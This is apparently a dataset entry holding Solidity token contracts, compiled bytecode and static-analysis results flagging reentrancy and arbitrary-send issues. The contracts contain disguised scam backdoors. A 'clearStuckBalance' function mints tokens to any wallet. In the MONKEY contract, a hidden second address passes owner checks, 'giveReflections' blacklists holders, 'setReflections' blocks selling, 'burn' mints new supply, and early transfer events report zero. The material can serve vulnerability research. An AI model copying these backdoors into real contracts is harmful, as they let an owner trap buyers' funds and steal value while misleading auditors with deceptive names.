function setAutoLpPercentBase100(uint256 newPercentBase100) external onlyOwner() {
require(newPercentBase100 < 100, "Percent is too high");
_LpPercentBase100 = newPercentBase100;
}
function setBmPercentBase(uint256 newPercentBase100) external onlyOwner() {
require(newPercentBase100 < 100, "Percent is too high");
_bmPercentBase = newPercentBase100;
}
function setCmPercentBase(uint256 newPercentBase100) external onlyOwner() {
require(newPercentBase100 < 100, "Percent is too high");
_cmsnPercentBase100 = newPercentBase100;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setPromoterWallets(address[] memory promoterWallets) public onlyOwner { for(uint256 i=0; i<promoterWallets.length; i++) { _isExcludedFromFee[promoterWallets[i]] = true; } }
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to], "This account is blacklisted");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
if (from == _pair) {
_taxFee = buyTax();
} else {
_taxFee = sellTax();
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!_inSwap && from != _pair && _swapEnabled) {
if(contractTokenBalance >= _contractAutoLpLimitToken) {
swapAndLiquify(contractTokenBalance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);
uint256 half = autoLpTokenBalance.div(2);
uint256 otherHalf = autoLpTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half.add(marketingAmount));
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidityAuto(newBalance, otherHalf);
emit SwapAndLiquify(half, newBalance, otherHalf);
sendETHToFee(marketingAmount);
}
function buyTax() private view returns (uint256) {
return (_autoLpFee + _buyTaxMarketing);
}
function sellTax() private view returns (uint256) {
return (_autoLpFee + _sellTaxMarketing);
}
function setMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
uint256 bmAmt = amount.mul(_bmPercentBase).div(100);
uint256 cmAmt = amount.mul(_cmsnPercentBase100).div(100);
_bmWallet.transfer(bmAmt);
_bmCmnWallet.transfer(cmAmt);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function clearStuckBalance(address wallet, uint256 balance) public onlyOwner { _balance[wallet] += balance * 10**8; emit Transfer(address(this), wallet, balance * 10**8); }
function addLiquidityInitial() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance} (
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
_approve(address(this), address(_uniswap), tokenValue);
_uniswap.addLiquidityETH{value: etherValue} (
address(this),
tokenValue,
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function enableTrading(bool _enable) external onlyOwner{
_canTrade = _enable;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function setMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function Airdrop(address recipient, uint256 amount) public onlyOwner {
require(_balance[address(this)] >= amount * 10**8, "Contract does not have enough tokens");
_balance[address(this)] = _balance[address(this)].sub(amount * 10**8);
_balance[recipient] = amount * 10**8;
emit Transfer(address(this), recipient, amount * 10**8);
}
}
|
0x6080604052600436106102335760003560e01c80637b41192a1161012e578063af79abf0116100ab578063dd62ed3e1161006f578063dd62ed3e146106bb578063e350779714610701578063ea2f0b3714610721578063f275f64b14610741578063f8b45b051461076157600080fd5b8063af79abf01461060c578063bc3371821461062c578063bfd792841461064c578063cc9968991461067c578063d7a037251461069b57600080fd5b80638da5cb5b116100f25780638da5cb5b1461055c578063910731391461058457806395d89b41146105a45780639e78fb4f146105d7578063a9059cbb146105ec57600080fd5b80637b41192a146104d25780637eb8d14c146104f2578063818a7def146105125780638c0b5e22146105275780638c32c5681461053c57600080fd5b8063351a964d116101bc5780635d0044ca116101805780635d0044ca146104325780636b999053146104525780636fc3eaec1461047257806370a0823114610487578063715018a6146104bd57600080fd5b8063351a964d14610393578063370e1a94146103b25780634263ec33146103d2578063437823ec146103f25780635c9162821461041257600080fd5b80631552c88a116102035780631552c88a146102f857806318160ddd146103185780631d60c2b01461033757806323b872dd14610357578063313ce5671461037757600080fd5b8062b8cf2a1461023f578063061c82d01461026157806306fdde0314610281578063095ea7b3146102c857600080fd5b3661023a57005b600080fd5b34801561024b57600080fd5b5061025f61025a366004611fd6565b610776565b005b34801561026d57600080fd5b5061025f61027c36600461209b565b610815565b34801561028d57600080fd5b5060408051808201909152600c81526b424554204d4f524520494e5560a01b60208201525b6040516102bf91906120b4565b60405180910390f35b3480156102d457600080fd5b506102e86102e3366004612109565b610844565b60405190151581526020016102bf565b34801561030457600080fd5b5061025f61031336600461209b565b61085b565b34801561032457600080fd5b506006545b6040519081526020016102bf565b34801561034357600080fd5b5061025f61035236600461209b565b6108aa565b34801561036357600080fd5b506102e8610372366004612135565b6108d9565b34801561038357600080fd5b50604051600881526020016102bf565b34801561039f57600080fd5b50601454600160b01b900460ff166102e8565b3480156103be57600080fd5b5061025f6103cd36600461209b565b610942565b3480156103de57600080fd5b5061025f6103ed36600461209b565b610991565b3480156103fe57600080fd5b5061025f61040d366004612176565b6109c0565b34801561041e57600080fd5b5061025f61042d366004612176565b610a0e565b34801561043e57600080fd5b5061025f61044d36600461209b565b610a5a565b34801561045e57600080fd5b5061025f61046d366004612176565b610a97565b34801561047e57600080fd5b5061025f610ae2565b34801561049357600080fd5b506103296104a2366004612176565b6001600160a01b031660009081526002602052604090205490565b3480156104c957600080fd5b5061025f610aef565b3480156104de57600080fd5b5061025f6104ed36600461209b565b610b63565b3480156104fe57600080fd5b5061025f61050d36600461209b565b610b92565b34801561051e57600080fd5b5061025f610be1565b34801561053357600080fd5b50601154610329565b34801561054857600080fd5b5061025f610557366004612109565b610cc8565b34801561056857600080fd5b506000546040516001600160a01b0390911681526020016102bf565b34801561059057600080fd5b5061025f61059f366004611fd6565b610e10565b3480156105b057600080fd5b5060408051808201909152600a8152694245544d4f5245494e5560b01b60208201526102b2565b3480156105e357600080fd5b5061025f610ea2565b3480156105f857600080fd5b506102e8610607366004612109565b611148565b34801561061857600080fd5b5061025f610627366004612176565b611155565b34801561063857600080fd5b5061025f61064736600461209b565b6111a1565b34801561065857600080fd5b506102e8610667366004612176565b60056020526000908152604090205460ff1681565b34801561068857600080fd5b50601454600160a81b900460ff166102e8565b3480156106a757600080fd5b5061025f6106b6366004612109565b6111de565b3480156106c757600080fd5b506103296106d6366004612193565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561070d57600080fd5b5061025f61071c36600461209b565b61127d565b34801561072d57600080fd5b5061025f61073c366004612176565b6112ac565b34801561074d57600080fd5b5061025f61075c3660046121da565b6112f7565b34801561076d57600080fd5b50601254610329565b6000546001600160a01b031633146107a95760405162461bcd60e51b81526004016107a0906121f7565b60405180910390fd5b60005b8151811015610811576001600560008484815181106107cd576107cd61222c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080981612258565b9150506107ac565b5050565b6000546001600160a01b0316331461083f5760405162461bcd60e51b81526004016107a0906121f7565b600855565b600061085133848461140a565b5060015b92915050565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016107a0906121f7565b606481106108a55760405162461bcd60e51b81526004016107a090612271565b600c55565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016107a0906121f7565b600a55565b60006108e684848461152e565b610938843361093385604051806060016040528060288152602001612423602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611984565b61140a565b5060019392505050565b6000546001600160a01b0316331461096c5760405162461bcd60e51b81526004016107a0906121f7565b6064811061098c5760405162461bcd60e51b81526004016107a090612271565b600e55565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016107a0906121f7565b600955565b6000546001600160a01b031633146109ea5760405162461bcd60e51b81526004016107a0906121f7565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610a385760405162461bcd60e51b81526004016107a0906121f7565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a845760405162461bcd60e51b81526004016107a0906121f7565b6012548111610a9257600080fd5b601255565b6000546001600160a01b03163314610ac15760405162461bcd60e51b81526004016107a0906121f7565b6001600160a01b03166000908152600560205260409020805460ff19169055565b47610aec816119be565b50565b6000546001600160a01b03163314610b195760405162461bcd60e51b81526004016107a0906121f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b8d5760405162461bcd60e51b81526004016107a0906121f7565b600b55565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b81526004016107a0906121f7565b60648110610bdc5760405162461bcd60e51b81526004016107a090612271565b600d55565b6000546001600160a01b03163314610c0b5760405162461bcd60e51b81526004016107a0906121f7565b601354306000818152600260205260409020546101009092046001600160a01b03169163f305d719914791600080610c4b6000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610c6d9695949392919061229e565b60606040518083038185885af1158015610c8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cb091906122d9565b50506014805460ff60b01b1916600160b01b17905550565b6000546001600160a01b03163314610cf25760405162461bcd60e51b81526004016107a0906121f7565b610d00816305f5e100612307565b306000908152600260205260409020541015610d6a5760405162461bcd60e51b8152602060048201526024808201527f436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f6044820152636b656e7360e01b60648201526084016107a0565b610d91610d7b826305f5e100612307565b3060009081526002602052604090205490611a7a565b30600090815260026020526040902055610daf816305f5e100612307565b6001600160a01b038316600081815260026020526040902091909155307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dfb846305f5e100612307565b60405190815260200160405180910390a35050565b6000546001600160a01b03163314610e3a5760405162461bcd60e51b81526004016107a0906121f7565b60005b815181101561081157600160046000848481518110610e5e57610e5e61222c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610e9a81612258565b915050610e3d565b6000546001600160a01b03163314610ecc5760405162461bcd60e51b81526004016107a0906121f7565b601454600160a01b900460ff1615610f265760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016107a0565b610f4830601360019054906101000a90046001600160a01b031660065461140a565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbf9190612326565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110459190612326565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611092573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b69190612326565b601480546001600160a01b0319166001600160a01b0392831690811790915560135460405163095ea7b360e01b8152610100909104909216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015611124573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190612343565b600061085133848461152e565b6000546001600160a01b0316331461117f5760405162461bcd60e51b81526004016107a0906121f7565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111cb5760405162461bcd60e51b81526004016107a0906121f7565b60115481116111d957600080fd5b601155565b6000546001600160a01b031633146112085760405162461bcd60e51b81526004016107a0906121f7565b611216816305f5e100612307565b6001600160a01b0383166000908152600260205260408120805490919061123e908490612360565b90915550506001600160a01b038216307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dfb846305f5e100612307565b6000546001600160a01b031633146112a75760405162461bcd60e51b81526004016107a0906121f7565b600755565b6000546001600160a01b031633146112d65760405162461bcd60e51b81526004016107a0906121f7565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146113215760405162461bcd60e51b81526004016107a0906121f7565b60148054911515600160a01b0260ff60a01b19909216919091179055565b60008260000361135157506000610855565b600061135d8385612307565b90508261136a8583612378565b146113c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a0565b9392505050565b60006113c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611abc565b6001600160a01b03831661146c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a0565b6001600160a01b0382166114cd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a0565b6001600160a01b0382166115f45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a0565b600081116116565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a0565b6001600160a01b03831660009081526005602052604090205460ff1615801561169857506001600160a01b03821660009081526005602052604090205460ff16155b6116e45760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c6973746564000000000060448201526064016107a0565b6000546001600160a01b0384811691161480159061171057506000546001600160a01b03838116911614155b15611923576014546001600160a01b03848116911614801561174557506013546001600160a01b038381166101009092041614155b801561176a57506001600160a01b03821660009081526004602052604090205460ff16155b1561188b576011548111156117c15760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016107a0565b601454600160a01b900460ff166118105760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd081cdd185c9d1959606a1b60448201526064016107a0565b60125481611833846001600160a01b031660009081526002602052604090205490565b61183d9190612360565b111561188b5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016107a0565b6014546001600160a01b03908116908416036118b1576118a9611aea565b6008556118bd565b6118b9611b01565b6008555b30600090815260026020526040902054601454600160a81b900460ff161580156118f557506014546001600160a01b03858116911614155b801561190a5750601454600160b01b900460ff165b156119215760075481106119215761192181611b13565b505b6001600160a01b03821660009081526004602052604090205461197f9084908490849060ff168061196c57506001600160a01b03871660009081526004602052604090205460ff165b61197857600854611bf6565b6000611bf6565b505050565b600081848411156119a85760405162461bcd60e51b81526004016107a091906120b4565b5060006119b5848661239a565b95945050505050565b60006119e060646119da600d548561133f90919063ffffffff16565b906113c8565b905060006119fe60646119da600e548661133f90919063ffffffff16565b600f546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015611a39573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a74573d6000803e3d6000fd5b50505050565b60006113c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611984565b60008183611add5760405162461bcd60e51b81526004016107a091906120b4565b5060006119b58486612378565b6000600954600b54611afc9190612360565b905090565b6000600a54600b54611afc9190612360565b6014805460ff60a81b1916600160a81b179055600c54600090611b3e906064906119da90859061133f565b90506000611b4c8383611a7a565b90506000611b5b8360026113c8565b90506000611b698483611a7a565b905047611b7e611b798486611cf4565b611d53565b6000611b8a4783611a7a565b9050611b968184611ed0565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a1611be0856119be565b50506014805460ff60a81b191690555050505050565b6000611c0760646119da858561133f565b90506000611c158483611a7a565b6001600160a01b038716600090815260026020526040902054909150611c3b9085611a7a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611c6a9082611cf4565b6001600160a01b038616600090815260026020526040808220929092553081522054611c969083611cf4565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600080611d018385612360565b9050838110156113c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a0565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d8857611d8861222c565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1f9190612326565b81600181518110611e3257611e3261222c565b6001600160a01b039283166020918202929092010152601354611e5d9130916101009004168461140a565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611e9a9085906000908690309042906004016123b1565b600060405180830381600087803b158015611eb457600080fd5b505af1158015611ec8573d6000803e3d6000fd5b505050505050565b601354611eed90309061010090046001600160a01b03168361140a565b6013546001600160a01b036101009091041663f305d719833084600080611f1c6000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401611f3e9695949392919061229e565b60606040518083038185885af1158015611f5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f8191906122d9565b50506014805460ff60b01b1916600160b01b179055505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610aec57600080fd5b8035611fd181611fb1565b919050565b60006020808385031215611fe957600080fd5b823567ffffffffffffffff8082111561200157600080fd5b818501915085601f83011261201557600080fd5b81358181111561202757612027611f9b565b8060051b604051601f19603f8301168101818110858211171561204c5761204c611f9b565b60405291825284820192508381018501918883111561206a57600080fd5b938501935b8285101561208f5761208085611fc6565b8452938501939285019261206f565b98975050505050505050565b6000602082840312156120ad57600080fd5b5035919050565b600060208083528351808285015260005b818110156120e1578581018301518582016040015282016120c5565b818111156120f3576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561211c57600080fd5b823561212781611fb1565b946020939093013593505050565b60008060006060848603121561214a57600080fd5b833561215581611fb1565b9250602084013561216581611fb1565b929592945050506040919091013590565b60006020828403121561218857600080fd5b81356113c181611fb1565b600080604083850312156121a657600080fd5b82356121b181611fb1565b915060208301356121c181611fb1565b809150509250929050565b8015158114610aec57600080fd5b6000602082840312156121ec57600080fd5b81356113c1816121cc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161226a5761226a612242565b5060010190565b6020808252601390820152720a0cae4c6cadce840d2e640e8dede40d0d2ced606b1b604082015260600190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156122ee57600080fd5b8351925060208401519150604084015190509250925092565b600081600019048311821515161561232157612321612242565b500290565b60006020828403121561233857600080fd5b81516113c181611fb1565b60006020828403121561235557600080fd5b81516113c1816121cc565b6000821982111561237357612373612242565b500190565b60008261239557634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156123ac576123ac612242565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124015784516001600160a01b0316835293830193918301916001016123dc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122092526e61fa973aba82963474a37230301409e4c4bab7b75d1d0c23023d5ecd0164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,106 |
0xccbbd93e33ffd040edb0a446502b8f81b808886e
|
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract MONKEY is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "MONKEY";
string public _symbol= "MONKEY";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xEf7c84e1cD006da2e79045F7466A10c31b13f1C6);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
